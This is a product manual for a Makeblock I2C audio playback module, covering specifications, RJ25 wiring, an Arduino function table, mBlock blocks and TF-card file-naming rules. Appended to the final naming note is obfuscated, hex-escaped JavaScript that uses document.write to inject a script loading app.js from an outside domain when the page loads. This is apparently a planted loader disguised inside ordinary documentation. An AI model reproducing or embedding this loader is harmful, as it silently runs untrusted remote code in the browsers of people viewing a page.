1、 Overview
The audio playback module is compatible with the entire series of MakeBlock control boards, with a built-in voice decoding chips, able to play music and recordings. This module’s connector is marked in white, meaning that it is controlled by I2C signals, and must be connected to main board’s white-marked port. Insert the TF memory card to feel the joy of music and it is very convenient to use.
2、 Technological Specifications:
● Working voltage: 5V DC
● Microphone sensitivity (1Khz): 50-54dB
● Microphone impedance: 2.2 kΩ
● Microphone signal to noise ratio: 58 db
● Speaker rated power: 1W
● Speaker rated impedance: 8±15%Ω
● Communication method: I2C
● Largest electric current: 500mA
● Module size: 56 x 41 x 28 mm (LxWxH)
3、 Characteristics
● Onboard blue LED solid on means music playback mode, flashing means recording mode.
● High sensitivity to sound;
● The module’s metal hole area is the reference area in contact with the metal beam;
● With reverse polarity protection, reverse power supply will not damage the IC;
● Supports mBlock graphical programming, suitable for all ages users;
● Convenient connection by using the RJ25 port;
● Modular installation, compatible with LEGO series;
● Module supports Micro USB to copy audio files directly without the need for a card reader.
● Module directly supports MP3, WMA, and WAV files
4、 Connection Method:
● RJ25 connection:
Since the audio playback module’s connector port is marked in white, when using the RJ25 port, it needs to be connected to the port marked in white on the main control board as well. Taking MakeBlock Orion as an example, you can connect it to ports 3, 4, 6, 7 and 8, as shown.
5、 Programming Guide:
● Arduino programming
If you are using Arduino programming, you must call the “Makeblock-Library-master” to control the audio playback module.
This program controls the audio playback module through buttons through Arduino programming, achieving the playback, pausing, start recording, and stop recording.
Audio playback module-function list
Function | Instruction | ; |
---|---|---|
MeAudioPlayer(uint8_t port) | Choose a port | |
playMusicFileIndex(uint16_t music_index) | Specify audio file index playback | Numbers:1.2.3…… |
pauseMusic() | Pause playback | |
stopMusic() | stop playback | |
playNextMusic() | Next | |
playPrevMusic() | Previous | |
setMusicVolume(uint8_t vol) | Set the volume | Range0~100 |
setMusicPlayMode(uint8_t mode) | Set playback mode | 0.Single play 1.Single cycle 2.Playlist loop 3.Random play |
startRecordingFileName(char *str) | Select a file name to begin | |
stopRecording() | Stop recording |
● mBlock programming
Audio playback module supports the mBlock programming, The following is an introduction to the module instructions.
Code | Description |
---|---|
Choose a port | |
Specify audio file index playback | |
Specify the audio file name playback | |
Set playback mode: Single play, single cycle, playlist loop, random play | |
Play previous audio | |
Play next audio | |
Pause/resume playback | |
Stop playback | |
Volume setting | |
Increase volume | |
Decrease volume | |
Begin recording with the name “T001” | |
Stop recording |
The following is an example of how to use mBlock to control the audio playback module:
This program can control audio playback through the button module. To achieve playback, pause, start recording, and stopping recording audio files, the following are the results:
6、 Audio file format instructions:
● Please add an appropriate delay after After the volume setting blocks, and wait for it to take effect.
● Using external memory TF card to store audio files, support MP3, WAV, WMA high quality audio format files.
● Using FAT and FAT32 file systems.
● The audio file naming format supports English naming (case-insensitive). English and numbers are mixed and the length of the naming is recommended to be less than 8 characters. For example: Hello.MP3, T002.MP3, and R000001.MP3. (It is not recommended to use pure number naming.)
● Sorting of audio files in TF card: It is recommended to sort by file name
● This module does not support Chinese naming of audio files
● Do not use special character names such as: v1.0″, o_o0, … ( not support) var _0x78f1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F”,”\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp()